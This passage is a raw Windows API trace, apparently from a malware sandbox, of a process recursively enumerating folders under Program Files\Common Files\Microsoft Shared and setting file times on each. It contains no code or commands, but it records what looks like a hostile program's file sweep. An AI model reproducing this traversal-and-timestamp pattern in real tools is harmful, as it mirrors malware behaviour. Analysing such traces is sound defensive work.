nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.115] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0243.115] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0243.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0243.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0243.204] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0243.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x923508 [0243.204] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x923508, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x923508, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0243.204] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923508) returned 1 [0243.204] NtClose (Handle=0x1bc) returned 0x0 [0243.204] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0243.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0243.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0243.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0243.205] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0243.205] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.205] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0243.205] GetLastError () returned 0x12 [0243.205] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0243.205] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0243.205] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.205] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0243.205] GetLastError () returned 0x12 [0243.205] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0243.205] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0243.205] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0243.205] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0243.205] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0243.205] GetLastError () returned 0x12 [0243.205] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0243.205] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0243.206] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0243.206] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0243.206] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0243.206] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0243.206] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" (normalized: "c:\\program files\\common files\\microsoft shared\\vba"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0243.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" (normalized: "c:\\program files\\common files\\microsoft shared\\vba"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0243.221] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0243.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x923508 [0243.222] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x923508, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x923508, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0243.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923508) returned 1 [0243.222] NtClose (Handle=0x1b8) returned 0x0 [0243.222] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0243.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0243.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0243.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0243.222] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0243.222] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.222] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0243.222] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0243.222] GetLastError () returned 0x12 [0243.222] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0243.222] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0243.222] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.222] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0243.222] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0243.223] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0243.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0243.223] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0243.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x923508 [0243.223] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x923508, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x923508, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0243.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923508) returned 1 [0243.223] NtClose (Handle=0x1b8) returned 0x0 [0243.223] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0243.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0243.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0243.223] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0243.223] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0243.223] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.223] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0243.223] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0243.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0243.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0243.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0243.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0243.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0243.224] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0243.224] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0243.224] GetLastError () returned 0x12 [0243.224] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0243.224] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0243.224] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.224] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0243.224] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0243.224] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0243.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0243.224] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0243.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x923508 [0243.225] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x923508, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x923508, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0243.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923508) returned 1 [0243.225] NtClose (Handle=0x1b8) returned 0x0 [0243.225] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0243.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0243.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0243.225] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6960 [0243.225] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0243.635] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.635] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0243.635] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x923520 [0243.677] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923520) returned 1 [0243.677] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x923520 [0243.677] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923520) returned 1 [0243.677] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x923520 [0243.710] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0243.710] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0243.710] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9188d0 [0243.741] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x920e28 [0243.741] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x923520) returned 1 [0243.791] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0243.791] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0243.791] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.023] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.023] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.025] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.025] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9188f0 [0244.106] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x920f30 [0244.106] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0244.106] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0244.106] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.106] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, 